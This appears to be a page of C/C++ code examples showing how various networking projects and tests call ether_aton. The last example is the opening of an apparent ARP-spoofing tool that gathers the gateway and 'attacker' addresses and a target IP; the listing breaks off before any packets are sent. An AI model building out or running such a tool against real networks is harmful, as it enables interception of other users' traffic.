Example #1
0
int nozzle_set_mac(nozzle_t nozzle, const char *ether_addr)
{
	int err = 0, savederrno = 0;
	struct ifreq ifr;

	if (!ether_addr) {
		errno = EINVAL;
		return -1;
	}

	savederrno = pthread_mutex_lock(&config_mutex);
	if (savederrno) {
		errno = savederrno;
		return -1;
	}

	if (!is_valid_nozzle(nozzle)) {
		savederrno = EINVAL;
		err = -1;
		goto out_clean;
	}

	memset(&ifr, 0, sizeof(struct ifreq));
	strncpy(ifname, nozzle->name, IFNAMSIZ);
#ifdef KNET_LINUX
	err = ioctl(lib_cfg.ioctlfd, SIOCGIFHWADDR, &ifr);
	if (err) {
		savederrno = errno;
		goto out_clean;
	}

	memmove(ifr.ifr_hwaddr.sa_data, ether_aton(ether_addr), ETH_ALEN);

	err = ioctl(lib_cfg.ioctlfd, SIOCSIFHWADDR, &ifr);
	savederrno = errno;
#endif
#ifdef KNET_BSD
	err = ioctl(lib_cfg.ioctlfd, SIOCGIFADDR, &ifr);
	if (err) {
		savederrno = errno;
		goto out_clean;
	}

	memmove(ifr.ifr_addr.sa_data, ether_aton(ether_addr), ETHER_ADDR_LEN);
	ifr.ifr_addr.sa_len = ETHER_ADDR_LEN;

	err = ioctl(lib_cfg.ioctlfd, SIOCSIFLLADDR, &ifr);
	savederrno = errno;
#endif
out_clean:
	pthread_mutex_unlock(&config_mutex);
	errno = savederrno;
	return err;
}
Example #2
0
  void test_eth_dst(){
    argc = generate_argv(argv, "programname", "--eth.dst", "01:00:00:00:00:02/FF:00:00:00:00:00", NULL);
    CPPUNIT_ASSERT_SUCCESS(filter_from_argv(&argc, argv, &filter), 1);

    struct ether_addr addr = *ether_aton("01:00:00:00:00:00");
    struct ether_addr mask = *ether_aton("FF:00:00:00:00:00");

    CPPUNIT_ASSERT_EQUAL((uint32_t)FILTER_ETH_DST, filter.index);
    CPPUNIT_ASSERT_ETH_ADDR(addr, filter.eth_dst);
    CPPUNIT_ASSERT_ETH_ADDR(mask, filter.eth_dst_mask);
  }
Example #3
0
static void test_link_configure(sd_netlink *rtnl, int ifindex) {
        _cleanup_(sd_netlink_message_unrefp) sd_netlink_message *message = NULL;
        const char *mac = "98:fe:94:3f:c6:18", *name = "test";
        char buffer[ETHER_ADDR_TO_STRING_MAX];
        uint32_t mtu = 1450, mtu_out;
        const char *name_out;
        struct ether_addr mac_out;

        /* we'd really like to test NEWLINK, but let's not mess with the running kernel */
        assert_se(sd_rtnl_message_new_link(rtnl, &message, RTM_GETLINK, ifindex) >= 0);
        assert_se(sd_netlink_message_append_string(message, IFLA_IFNAME, name) >= 0);
        assert_se(sd_netlink_message_append_ether_addr(message, IFLA_ADDRESS, ether_aton(mac)) >= 0);
        assert_se(sd_netlink_message_append_u32(message, IFLA_MTU, mtu) >= 0);

        assert_se(sd_netlink_call(rtnl, message, 0, NULL) == 1);
        assert_se(sd_netlink_message_rewind(message) >= 0);

        assert_se(sd_netlink_message_read_string(message, IFLA_IFNAME, &name_out) >= 0);
        assert_se(streq(name, name_out));

        assert_se(sd_netlink_message_read_ether_addr(message, IFLA_ADDRESS, &mac_out) >= 0);
        assert_se(streq(mac, ether_addr_to_string(&mac_out, buffer)));

        assert_se(sd_netlink_message_read_u32(message, IFLA_MTU, &mtu_out) >= 0);
        assert_se(mtu == mtu_out);
}
Example #4
0
static void test_link_configure(sd_rtnl *rtnl, int ifindex) {
        _cleanup_sd_rtnl_message_unref_ sd_rtnl_message *message;
        uint16_t type;
        const char *mac = "98:fe:94:3f:c6:18", *name = "test";
        unsigned int mtu = 1450;
        void *data;

        /* we'd really like to test NEWLINK, but let's not mess with the running kernel */
        assert(sd_rtnl_message_link_new(RTM_GETLINK, ifindex, 0, 0, &message) >= 0);
        assert(sd_rtnl_message_append(message, IFLA_IFNAME, name) >= 0);
        assert(sd_rtnl_message_append(message, IFLA_ADDRESS, ether_aton(mac)) >= 0);
        assert(sd_rtnl_message_append(message, IFLA_MTU, &mtu) >= 0);

        assert(sd_rtnl_message_read(message, &type, &data) >= 0);
        assert(type == IFLA_IFNAME);
        assert(streq(name, (char *) data));

        assert(sd_rtnl_message_read(message, &type, &data) >= 0);
        assert(type == IFLA_ADDRESS);
        assert(streq(mac, ether_ntoa(data)));

        assert(sd_rtnl_message_read(message, &type, &data) >= 0);
        assert(type == IFLA_MTU);
        assert(mtu == *(unsigned int *) data);

        assert(sd_rtnl_call(rtnl, message, 0, NULL) == 1);
}
Example #5
0
int
bridge_addaddr(int s, char *brdg, char *ifname, char *addr)
{
	struct ifbareq ifba;
	struct ether_addr *ea;

	strlcpy(ifba.ifba_name, brdg, sizeof(ifba.ifba_name));
	strlcpy(ifba.ifba_ifsname, ifname, sizeof(ifba.ifba_ifsname));

	ea = ether_aton(addr);
	if (ea == NULL) {
		printf("%% Invalid address: %s\n", addr);
		return (EX_USAGE);
	}
	bcopy(ea, &ifba.ifba_dst, sizeof(struct ether_addr));
	ifba.ifba_flags = IFBAF_STATIC;

	if (ioctl(s, SIOCBRDGSADDR, &ifba) < 0) {
		char tmp[128];

		snprintf(tmp, sizeof(tmp), "%% unable to add %s to %s: %s\n",
		    addr, brdg, strerror(errno));
		printf("%s", tmp);
		return (EX_IOERR);
	}

	return (0);
}
Example #6
0
static int
ethers(int argc, char *argv[])
{
	char		hostname[MAXHOSTNAMELEN], *hp;
	int		i, rv = RV_OK;
	struct ether_addr ea, *eap;

	if (argc == 2) {
		fprintf(stderr, "%s: Enumeration not supported on ethers\n",
		    __progname);
		rv = RV_NOENUM;
	} else {
		for (i = 2; i < argc; i++) {
			if ((eap = ether_aton(argv[i])) == NULL) {
				eap = &ea;
				hp = argv[i];
				if (ether_hostton(hp, eap) != 0) {
					rv = RV_NOTFOUND;
					break;
				}
			} else {
				hp = hostname;
				if (ether_ntohost(hp, eap) != 0) {
					rv = RV_NOTFOUND;
					break;
				}
			}
			ETHERSPRINT;
		}
	}
	return rv;
}
Example #7
0
static int FAST_FUNC read_staticlease(const char *const_line, void *arg)
{
	char *line;
	char *mac_string;
	char *ip_string;
	struct ether_addr *mac_bytes; /* it's "struct { uint8_t mac[6]; }" */
	uint32_t nip;

	/* Read mac */
	line = (char *) const_line;
	mac_string = strtok_r(line, " \t", &line);
	if (!mac_string || !(mac_bytes = ether_aton(mac_string)))
		return 0;

	/* Read ip */
	ip_string = strtok_r(NULL, " \t", &line);
	if (!ip_string || !udhcp_str2nip(ip_string, &nip))
		return 0;

	add_static_lease(arg, (uint8_t*) mac_bytes, nip);

	log_static_leases(arg);

	return 1;
}
static gboolean
connection_compatible (NMDevice *device, NMConnection *connection, GError **error)
{
	NMSettingConnection *s_con;
	NMSettingBluetooth *s_bt;
	const char *ctype;
	const GByteArray *mac;
	const char *hw_str;
	struct ether_addr *hw_mac;
	NMBluetoothCapabilities dev_caps;
	NMBluetoothCapabilities bt_type;

	s_con = nm_connection_get_setting_connection (connection);
	g_assert (s_con);

	ctype = nm_setting_connection_get_connection_type (s_con);
	if (strcmp (ctype, NM_SETTING_BLUETOOTH_SETTING_NAME) != 0) {
		g_set_error (error, NM_DEVICE_BT_ERROR, NM_DEVICE_BT_ERROR_NOT_BT_CONNECTION,
		             "The connection was not a Bluetooth connection.");
		return FALSE;
	}

	s_bt = nm_connection_get_setting_bluetooth (connection);
	if (!s_bt) {
		g_set_error (error, NM_DEVICE_BT_ERROR, NM_DEVICE_BT_ERROR_INVALID_BT_CONNECTION,
		             "The connection was not a valid Bluetooth connection.");
		return FALSE;
	}

	/* Check BT address */
	hw_str = nm_device_bt_get_hw_address (NM_DEVICE_BT (device));
	if (hw_str) {
		hw_mac = ether_aton (hw_str);
		if (!hw_mac) {
			g_set_error (error, NM_DEVICE_BT_ERROR, NM_DEVICE_BT_ERROR_INVALID_DEVICE_MAC,
			             "Invalid device MAC address.");
			return FALSE;
		}
		mac = nm_setting_bluetooth_get_bdaddr (s_bt);
		if (mac && hw_mac && memcmp (mac->data, hw_mac->ether_addr_octet, ETH_ALEN)) {
			g_set_error (error, NM_DEVICE_BT_ERROR, NM_DEVICE_BT_ERROR_MAC_MISMATCH,
			             "The MACs of the device and the connection didn't match.");
			return FALSE;
		}
	}

	dev_caps = nm_device_bt_get_capabilities (NM_DEVICE_BT (device));
	bt_type = get_connection_bt_type (connection);
	if (!(bt_type & dev_caps)) {
		g_set_error (error, NM_DEVICE_BT_ERROR, NM_DEVICE_BT_ERROR_MISSING_DEVICE_CAPS,
		             "The device missed BT capabilities required by the connection.");
		return FALSE;
	}

	return NM_DEVICE_CLASS (nm_device_bt_parent_class)->connection_compatible (device, connection, error);
}
Example #9
0
  void test_eth_src(){
    struct ether_addr addr = *ether_aton("01:00:00:00:00:02");
    struct ether_addr mask1 = *ether_aton("FF:FF:FF:FF:FF:FF");
    struct ether_addr mask2 = *ether_aton("FF:00:00:00:00:FF");

    argc = generate_argv(argv, "programname", "--eth.src", "01:00:00:00:00:02", NULL);
    CPPUNIT_ASSERT_SUCCESS(filter_from_argv(&argc, argv, &filter), 1);

    CPPUNIT_ASSERT_EQUAL((uint32_t)FILTER_ETH_SRC, filter.index);
    CPPUNIT_ASSERT_ETH_ADDR(addr,  filter.eth_src);
    CPPUNIT_ASSERT_ETH_ADDR(mask1, filter.eth_src_mask);

    argc = generate_argv(argv, "programname", "--eth.src", "01:00:00:00:00:02/FF:00:00:00:00:ff", NULL);
    CPPUNIT_ASSERT_SUCCESS(filter_from_argv(&argc, argv, &filter), 1);

    CPPUNIT_ASSERT_EQUAL((uint32_t)FILTER_ETH_SRC, filter.index);
    CPPUNIT_ASSERT_ETH_ADDR(addr,  filter.eth_src);
    CPPUNIT_ASSERT_ETH_ADDR(mask2, filter.eth_src_mask);
  }
static gboolean
connection_compatible (NMDevice *device, NMConnection *connection, GError **error)
{
	NMSettingConnection *s_con;
	NMSettingWired *s_wired;
	const char *ctype;
	gboolean is_pppoe = FALSE;

	s_con = nm_connection_get_setting_connection (connection);
	g_assert (s_con);

	ctype = nm_setting_connection_get_connection_type (s_con);
	if (!strcmp (ctype, NM_SETTING_PPPOE_SETTING_NAME))
		is_pppoe = TRUE;
	else if (strcmp (ctype, NM_SETTING_WIRED_SETTING_NAME) != 0) {
		g_set_error (error, NM_DEVICE_ETHERNET_ERROR, NM_DEVICE_ETHERNET_ERROR_NOT_ETHERNET_CONNECTION,
		             "The connection was not a wired or PPPoE connection.");
		return FALSE;
	}

	s_wired = nm_connection_get_setting_wired (connection);
	/* Wired setting optional for PPPoE */
	if (!is_pppoe && !s_wired) {
		g_set_error (error, NM_DEVICE_ETHERNET_ERROR, NM_DEVICE_ETHERNET_ERROR_INVALID_ETHERNET_CONNECTION,
		             "The connection was not a valid ethernet connection.");
		return FALSE;
	}

	if (s_wired) {
		const GByteArray *mac;
		const char *perm_str;
		struct ether_addr *perm_mac;

		/* FIXME: filter using s390 subchannels when they are exported over the bus */

		/* Check MAC address */
		perm_str = nm_device_ethernet_get_permanent_hw_address (NM_DEVICE_ETHERNET (device));
		if (perm_str) {
			perm_mac = ether_aton (perm_str);
			if (!perm_mac) {
				g_set_error (error, NM_DEVICE_ETHERNET_ERROR, NM_DEVICE_ETHERNET_ERROR_INVALID_DEVICE_MAC,
				             "Invalid device MAC address.");
				return FALSE;
			}
			mac = nm_setting_wired_get_mac_address (s_wired);
			if (mac && perm_mac && memcmp (mac->data, perm_mac->ether_addr_octet, ETH_ALEN)) {
				g_set_error (error, NM_DEVICE_ETHERNET_ERROR, NM_DEVICE_ETHERNET_ERROR_MAC_MISMATCH,
				             "The MACs of the device and the connection didn't match.");
				return FALSE;
			}
		}
	}

	return NM_DEVICE_CLASS (nm_device_ethernet_parent_class)->connection_compatible (device, connection, error);
}
NmaBtDevice *
nma_bt_device_new (const char *bdaddr,
                   const char *alias,
                   const char *object_path,
                   gboolean has_pan,
                   gboolean has_dun)
{
	NmaBtDevice *self;
	GError *error = NULL;

	g_return_val_if_fail (bdaddr != NULL, NULL);
	g_return_val_if_fail (object_path != NULL, NULL);

	self = (NmaBtDevice *) g_object_new (NMA_TYPE_BT_DEVICE,
	                                     NMA_BT_DEVICE_BDADDR, bdaddr,
	                                     NMA_BT_DEVICE_ALIAS, alias,
	                                     NMA_BT_DEVICE_OBJECT_PATH, object_path,
	                                     NMA_BT_DEVICE_HAS_PAN, has_pan,
	                                     NMA_BT_DEVICE_HAS_DUN, has_dun,
	                                     NULL);
	if (self) {
		NmaBtDevicePrivate *priv = NMA_BT_DEVICE_GET_PRIVATE (self);
		struct ether_addr *addr;

		g_assert (priv->bdaddr);
		g_assert (priv->object_path);

		addr = ether_aton (priv->bdaddr);
		if (!addr) {
			g_warning ("%s: invalid Bluetooth address '%s'", __func__, priv->bdaddr);
			g_object_unref (self);
			return NULL;
		}

		priv->bdaddr_array = g_byte_array_sized_new (ETH_ALEN);
		g_byte_array_append (priv->bdaddr_array, (const guint8 *) addr->ether_addr_octet, ETH_ALEN);

		priv->bus = dbus_g_bus_get (DBUS_BUS_SYSTEM, &error);
		if (error) {
			g_warning ("%s: failed to connect to D-Bus: %s", __func__, error->message);
			g_object_unref (self);
			self = NULL;
		}

		priv->window_group = gtk_window_group_new ();

		priv->settings = nm_remote_settings_new (priv->bus);
		g_signal_connect (priv->settings,
				          NM_REMOTE_SETTINGS_CONNECTIONS_READ,
				          G_CALLBACK (connections_read),
				          self);
	}
	return self;
}
Example #12
0
static void
test_ether_aton_bad(void)
{
	struct ether_addr *ep;

	testnum++;
	ep = ether_aton(ether_aton_bad_string);
	if (ep != NULL)
		NOTOK("returned success");
	OK();
}
Example #13
0
static void
test_ether_aton(void)
{
	struct ether_addr *ep;

	testnum++;
	ep = ether_aton(ether_aton_string);
	if (ep == NULL)
		NOTOK("returned NULL");
	if (bcmp(ep, &ether_aton_addr, ETHER_ADDR_LEN) != 0)
		NOTOK("bad address");
	OK();
}
Example #14
0
static struct IPMAC * get_ipmac(FILE *fp)
{
	char line_buf[1024] = {0};
	char key[64] = {0};
	char *p = NULL;
	char value[1024] = {0};
	int complete = 0;

	struct IPMAC *ptr = (struct IPMAC*)malloc(sizeof(struct IPMAC));
	if (!ptr)
	{
        OD("error, alloc ipmac error out of memory!");
		exit(0);
	}

	while(1)
    {
        if (fgets(line_buf, sizeof(line_buf), fp) == NULL)
            break;
        p = line_buf;
        while(isspace(*p))
            p++;
        if (*p == '\0' || *p == '#')
            continue;

        GetArg(key, sizeof(key), &p);

        if (!strcasecmp(key, "ip"))
            get_str(ptr->ip, value, sizeof(value), p);
        else if (!strcasecmp(key, "mac"))
            get_str(ptr->mac, value, sizeof(value), p);
        else if (!strcasecmp(key, "via"))
            get_str(ptr->via, value, sizeof(value), p);
        else if (!strcasecmp(key, "</ip_mac>"))
        {
            //在这里转换ip,mac
            inet_aton(ptr->ip, &ptr->_ip);
            bcopy(ether_aton(ptr->mac), &ptr->_mac, ETH_ALEN);
            complete = 1;
            break;
        }
    }

    if (!complete)
    {
        free(ptr);
        ptr = NULL;
    }
    return ptr; 
}
/* Convert the host ID string to a MAC address.
 * The string may be a:
 *    Host name
 *    IP address string
 *    MAC address string
*/
static inline void get_dest_addr(const char *hostid, struct ether_addr *eaddr)
{
	struct ether_addr *eap;

	eap = ether_aton(hostid);
	if (eap) {
		*eaddr = *eap;
		bb_debug_msg("The target station address is %s\n\n", ether_ntoa(eaddr));
#if !defined(__UCLIBC__)
	} else if (ether_hostton(hostid, eaddr) == 0) {
		bb_debug_msg("Station address for hostname %s is %s\n\n", hostid, ether_ntoa(eaddr));
#endif
	} else
		bb_show_usage();
}
Example #16
0
static size_t ascii2clid(u8_t *clid, const char *a)
{
    /* Convert an ethernet address, or a series of hex digits to a client ID.
     * Return its length if ok, otherwise -1.
     */
    size_t len;
    ether_addr_t *eth;

    if ((eth= ether_aton(a)) != nil) {
	ether2clid(clid, eth);
	len= 1+DHCP_HLEN_ETH;
    } else {
	len= ascii2octet(clid, CLID_MAX, a);
    }
    return len;
}
Example #17
0
void
bridge_deladdr(const char *addr, int d)
{
	struct ifbareq ifba;
	struct ether_addr *ea;

	strlcpy(ifba.ifba_name, name, sizeof(ifba.ifba_name));
	ea = ether_aton(addr);
	if (ea == NULL)
		err(1, "Invalid address: %s", addr);

	bcopy(ea, &ifba.ifba_dst, sizeof(struct ether_addr));

	if (ioctl(s, SIOCBRDGDADDR, &ifba) < 0)
		err(1, "%s: %s", name, addr);
}
Example #18
0
static void
setbridge_deladdr(const char *val, int d, int s, const struct afswtch *afp)
{
	struct ifbareq req;
	struct ether_addr *ea;

	memset(&req, 0, sizeof(req));

	ea = ether_aton(val);
	if (ea == NULL)
		errx(1, "invalid address: %s",  val);

	memcpy(req.ifba_dst, ea->octet, sizeof(req.ifba_dst));

	if (do_cmd(s, BRDGDADDR, &req, sizeof(req), 1) < 0)
		err(1, "BRDGDADDR %s",  val);
}
Example #19
0
void
bridge_addaddr(const char *ifname, const char *addr)
{
	struct ifbareq ifba;
	struct ether_addr *ea;

	strlcpy(ifba.ifba_name, name, sizeof(ifba.ifba_name));
	strlcpy(ifba.ifba_ifsname, ifname, sizeof(ifba.ifba_ifsname));

	ea = ether_aton(addr);
	if (ea == NULL)
		errx(1, "Invalid address: %s", addr);

	bcopy(ea, &ifba.ifba_dst, sizeof(struct ether_addr));
	ifba.ifba_flags = IFBAF_STATIC;

	if (ioctl(s, SIOCBRDGSADDR, &ifba) < 0)
		err(1, "%s: %s", name, addr);
}
Example #20
0
int
intbssid(char *ifname, int ifs, int argc, char **argv)
{
	struct ieee80211_bssid bssid;
	struct ether_addr *ea;
	short set;

	if (NO_ARG(argv[0])) {
		set = 0;
		argv++;
		argc--;
	} else
		set = 1;

	argv++;
	argc--;

	if ((set && argc != 1) || (!set && argc > 1)) {
		printf("%% bssid <xx:xx:xx:xx:xx:xx>\n");
		printf("%% no bssid       (auto-select)\n");
		return(0);
	}

	if (set) {
		ea = ether_aton(argv[1]);
		if (ea == NULL) {
			printf("%% Invalid bssid\n");
			return(0);
		}
		memcpy(&bssid.i_bssid, ea->ether_addr_octet,
		    sizeof(bssid.i_bssid));
	} else
		memset(&bssid.i_bssid, 0, sizeof(bssid.i_bssid));

	strlcpy(bssid.i_name, ifname, sizeof(bssid.i_name));
	if (ioctl(ifs, SIOCS80211BSSID, &bssid) == -1) {
		printf("%% inttxpower: SIOCS80211BSSID failed: %s\n",
		    strerror(errno));
	}

	return (0);
}
Example #21
0
static int
_nss_nisplus_parse_etherent (nis_result *result, struct etherent *ether,
			     char *buffer, size_t buflen, int *errnop)
{
  char *p = buffer;
  size_t room_left = buflen;

  if (result == NULL)
    return 0;

  if ((result->status != NIS_SUCCESS && result->status != NIS_S_SUCCESS)
      || NIS_RES_NUMOBJ (result) != 1
      || __type_of (NIS_RES_OBJECT (result)) != NIS_ENTRY_OBJ
      || strcmp (NIS_RES_OBJECT (result)->EN_data.en_type,
		 "ethers_tbl") != 0
      || NIS_RES_OBJECT (result)->EN_data.en_cols.en_cols_len < 2)
    return 0;

  /* Generate the ether entry format and use the normal parser */
  if (NISENTRYLEN (0, 0, result) + 1 > room_left)
    {
      *errnop = ERANGE;
      return -1;
    }
  char *cp = __stpncpy (p, NISENTRYVAL (0, 0, result),
			NISENTRYLEN (0, 0, result));
  *cp = '\0';
  room_left -= NISENTRYLEN (0, 0, result) + 1;
  ether->e_name = p;

  struct ether_addr *ea = ether_aton (NISENTRYVAL (0, 1, result));
  if (ea == NULL)
    {
      *errnop = EINVAL;
      return -2;
    }

  ether->e_addr = *ea;

  return 1;
}
Example #22
0
int
bridge_deladdr(int s, char *brdg, char *addr)
{
	struct ifbareq ifba;
	struct ether_addr *ea;

	strlcpy(ifba.ifba_name, brdg, sizeof(ifba.ifba_name));
	ea = ether_aton(addr);
	if (ea == NULL) {
		printf("%% Invalid address: %s\n", addr);
		return (EX_USAGE);
	}
	bcopy(ea, &ifba.ifba_dst, sizeof(struct ether_addr));

	if (ioctl(s, SIOCBRDGDADDR, &ifba) < 0) {
		printf("%% unable to delete %s from %s\n", addr, brdg);
		return (EX_IOERR);
	}

	return (0);
}
Example #23
0
static void
setbridge_static(const char *val, const char *mac, int s,
    const struct afswtch *afp)
{
	struct ifbareq req;
	struct ether_addr *ea;

	memset(&req, 0, sizeof(req));
	strlcpy(req.ifba_ifsname, val, sizeof(req.ifba_ifsname));

	ea = ether_aton(mac);
	if (ea == NULL)
		errx(1, "%s: invalid address: %s", val, mac);

	memcpy(req.ifba_dst, ea->octet, sizeof(req.ifba_dst));
	req.ifba_flags = IFBAF_STATIC;
	req.ifba_vlan = 1; /* XXX allow user to specify */

	if (do_cmd(s, BRDGSADDR, &req, sizeof(req), 1) < 0)
		err(1, "BRDGSADDR %s",  val);
}
Example #24
0
int main(int argc, char *argv[])
{
	/* Packet counter */
	int cnt = 0;

	/* Packet number of last acked data frame */
	int last_acked = 0;

	/* Packet number of last roam */
	int last_swap = 0;
	struct ether_addr dut_addr, *tmp_eth, tmp_ta;
	uint16_t tmp_seqnr;

	/* Details of packet from previous BSS */
	struct pcap_pkthdr last_data_hdr = {};
	struct ether_addr last_bss = {};
	uint16_t last_freq = 0;

	/* Details packet from current BSS */
	struct pcap_pkthdr curr_data_hdr;
	struct ether_addr curr_bss = {};
	uint16_t curr_freq;

	struct pcap_pkthdr *hdr;
	uint16_t radiotap_len;

	int ret;
	char pcap_err[PCAP_ERRBUF_SIZE];
	const uint8_t *rp, *wp;
	unsigned char ftype;

	if (argc != 3)
		usage(argv);

	tmp_eth = ether_aton(argv[2]);
	if (!tmp_eth)
		usage(argv);
	memcpy(&dut_addr, tmp_eth, sizeof(dut_addr));

	pcap_t *pcap = pcap_open_offline(argv[1], pcap_err);
	if (!pcap) {
		printf("Error %s\n", pcap_err);
		exit(1);
	}

	printf("BSSID                                  Frame#              Time (ms)   Freq\n");
	while (1) {
		ret = pcap_next_ex(pcap, &hdr, &rp);
		cnt++;
		if (ret < 0)
			break;

		radiotap_len = rp[2] | rp[3] << 8;
		wp = rp + radiotap_len;

		ftype = get_pkt_type(wp);

		/* Match data packets with dut's RA or TA */
		if ((ftype == 0x28 || ftype == 0x20) &&
		    (cmp_eth(wp + RA_POS, &dut_addr) ||
		     cmp_eth(wp + TA_POS, &dut_addr))) {

			/* Get BSS of current packet */
			if (cmp_eth(wp + TA_POS, &dut_addr))
				memcpy(&curr_bss, wp + RA_POS, 6);
			else
				memcpy(&curr_bss, wp + TA_POS, 6);

			/* Save info about the data packet. Checking for the ack
			   will overwrite */
			memcpy(&tmp_ta, wp + TA_POS, 6);
			memcpy(&curr_data_hdr, hdr, sizeof(curr_data_hdr));
			curr_freq = get_freq(rp);
			tmp_seqnr = get_seqnr(wp);

			/* Check if packet was ACKed */
			ret = pcap_next_ex(pcap, &hdr, &rp);
			radiotap_len = rp[2] | rp[3] << 8;
			wp = rp + radiotap_len;
			cnt++;
			if (ret < 0)
				break;
			if (is_pkt_acked(wp, &tmp_ta, tmp_seqnr)) {
//				printf("Packet # %06d %d:%d %08d %02x\n", cnt, (int)hdr->ts.tv_sec, (int)hdr->ts.tv_usec, hdr->len, ftype);
//				printf("%d Acked %s--", cnt, ether_ntoa(&tmp_bss));
//				printf("%s\n", ether_ntoa(&tmp_ta));

				/* BSS changed? */
				if (memcmp(&last_bss, &curr_bss, sizeof(last_bss)) != 0) {
					if (last_swap) {
						double delta = (get_timestamp(&curr_data_hdr) - get_timestamp(&last_data_hdr)) / 1000;
						printf("%s", ether_ntoa(&last_bss));
						printf(" -> %s %7d -> %7d ", ether_ntoa(&curr_bss), last_acked-1, cnt-1);
						printf("%12f ", delta);
						printf("%04d -> %04d ", last_freq, curr_freq);
//						printf("(%f - %f)", get_timestamp(&curr_data_hdr), get_timestamp(&last_data_hdr));
						printf("\n");
					}
					memcpy(&last_bss, &curr_bss, sizeof(last_bss));
					last_swap = cnt;
				}
				last_acked = cnt;
				last_freq = curr_freq;
				memcpy(&last_data_hdr, &curr_data_hdr, sizeof(last_data_hdr));
			}
		}
	}
	printf("Analyzed %d frames\n", cnt);
	return 0;
}
Example #25
0
/*
 * Parse a rule definition and send it upwards.
 *
 * Syntax:
 *	{block|pass} {in|out|in/out} on {ifs} [src {mac}] [dst {mac}]
 */
int
bridge_rule(int s, char *brdg, int targc, char **targv, int ln)
{
	char **argv = targv;
	int argc = targc;
	struct ifbrlreq rule;
	struct ether_addr *ea, *dea;
	short sec;

	if (argc == 0) {
		printf("%% Invalid rule\n");
		return (EX_USAGE);
	}
	rule.ifbr_tagname[0] = 0;
	rule.ifbr_flags = 0;
	rule.ifbr_action = 0;
	strlcpy(rule.ifbr_name, brdg, sizeof(rule.ifbr_name));

	sec = 1;
	if (strcmp(argv[0], "block") == 0)
		rule.ifbr_action = BRL_ACTION_BLOCK;
	else if (strcmp(argv[0], "pass") == 0)
		rule.ifbr_action = BRL_ACTION_PASS;
	else
		goto bad_rule;
	argc--;	argv++;

	sec++; /* 2 */
	if (argc == 0) {
		bridge_badrule(targc, targv, ln, sec);
		return (EX_USAGE);
	}
	if (strcmp(argv[0], "in") == 0)
		rule.ifbr_flags |= BRL_FLAG_IN;
	else if (strcmp(argv[0], "out") == 0)
		rule.ifbr_flags |= BRL_FLAG_OUT;
	else if (strcmp(argv[0], "in/out") == 0)
		rule.ifbr_flags |= BRL_FLAG_IN | BRL_FLAG_OUT;
	else
		goto bad_rule;
	argc--; argv++;

	sec++; /* 3 */
	if (argc == 0 || strcmp(argv[0], "on"))
		goto bad_rule;
	argc--; argv++;

	sec++; /* 4 */
	if (argc == 0 || !is_valid_ifname(argv[0]))
		goto bad_rule;
	strlcpy(rule.ifbr_ifsname, argv[0], sizeof(rule.ifbr_ifsname));
	argc--; argv++;

	sec++; /* 5 */
	while (argc) {
		if (strcmp(argv[0], "dst") == 0) {
			if (rule.ifbr_flags & BRL_FLAG_DSTVALID)
				goto bad_rule;
			rule.ifbr_flags |= BRL_FLAG_DSTVALID;
			dea = &rule.ifbr_dst;
		} else if (strcmp(argv[0], "src") == 0) {
			if (rule.ifbr_flags & BRL_FLAG_SRCVALID)
				goto bad_rule;
			rule.ifbr_flags |= BRL_FLAG_SRCVALID;
			dea = &rule.ifbr_src;
		} else if (strcmp(argv[0], "tag") == 0) {
			if (argc < 2) {
				printf("%% missing tag name\n");
				goto bad_rule;
			}
			if (rule.ifbr_tagname[0]) {
				printf("%% tag already defined\n");
				goto bad_rule;
			}
			if (strlcpy(rule.ifbr_tagname, argv[1],
			    PF_TAG_NAME_SIZE) > PF_TAG_NAME_SIZE) {
				printf("%% tag name too long\n");
				goto bad_rule;
			}
			dea = NULL;
		} else
			goto bad_rule;

		argc--; argv++;
		sec++;

		if (argc == 0)
			goto bad_rule;
		if (dea != NULL) {
			ea = ether_aton(argv[0]);
			if (ea == NULL) {
				printf("%% Invalid address: %s\n", argv[0]);
				return (0);
			}
			bcopy(ea, dea, sizeof(*dea));
 		}
		argc--; argv++;
		sec++;
	}

	if (ioctl(s, SIOCBRDGARL, &rule) < 0) {
		printf("%% unable to add rule: SIOCBRDGARL: %s\n",
		    strerror(errno));
		return (EX_IOERR);
	}
	return (0);

bad_rule:
	bridge_badrule(targc, targv, ln, sec);
	return (EX_USAGE);
}
Example #26
0
int main(int argc, char* argv[]) {
  libnet_t *l;  /* libnet context */
  char errbuf[LIBNET_ERRBUF_SIZE];
  u_int32_t ip_addr;
  struct libnet_ether_addr *mac_addr;
  l = libnet_init(LIBNET_RAW4, NULL, errbuf);

  uint8_t *dst_mac, *ether_frame;
  int sd, sd2, sd3, frame_length, bytes;
  uint8_t *ether_frame2;
  struct sockaddr_ll device;

  arp_hdr arphdr_send;
  arp_hdr *arphdr_receive;
  ether_frame = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  ether_frame2 = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  memset(ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));

  char buff[1024];
  char buff2[1024];
  int count = 0;
  pthread_t p_thread[2];
  int thr_id, thr_id2;
  char str[256];

  /* get gateway address  */
  FILE *in = popen("route", "r");
  for (int i = 0; i < 3; i++) {
    fgets(buff, sizeof(buff), in);
  }
  while (buff[count] != ' ') count++;
  while (buff[count] == ' ') count++;
  inet_aton(buff + count, &gw_ip_addr);
  printf("\n [+]Gateway IP Adress : %s\n", inet_ntoa(gw_ip_addr));
  pclose(in);
/*
  Address                  HWtype  HWaddress           Flags Mask            Iface
  192.168.230.2            ether   00:50:56:f4:44:1d   C                     ens33
*/
  sprintf(str, "arp %s",inet_ntoa(gw_ip_addr));
  FILE *in2 = popen(str, "r");
  count=0;
  fgets(buff2, sizeof(buff2), in);
  fgets(buff2, sizeof(buff2), in);
  while (buff2[count] != ' ') count++;
  while (buff2[count] == ' ') count++;
  while (buff2[count] != ' ') count++;
  while (buff2[count] == ' ') count++;
  gw_mac_addr=ether_aton(buff2 + count);
  pclose(in2);
  printf("\n [+]PRINT REQUEST_PACKET\n");
  struct in_addr target_ip_addr;
  inet_aton(argv[1], &target_ip_addr);
  printf("target IP Adress : %s\n", inet_ntoa(target_ip_addr));

  ///////////////////// 0.get my attacker's mac , ip ////////////////////////////////

  if (l == NULL) {
    fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
    exit(EXIT_FAILURE);
  }

  /* get ip address  */
  ip_addr = libnet_get_ipaddr4(l);
  if (ip_addr != 0xff)
    printf("Src IP address: %s\n", libnet_addr2name4(ip_addr, \
      LIBNET_DONT_RESOLVE));
  else
    fprintf(stderr, "Couldn't get own IP address: %s\n", \
      libnet_geterror(l));
  /* get mac address  */
  mac_addr = libnet_get_hwaddr(l);
  if (mac_addr != NULL)
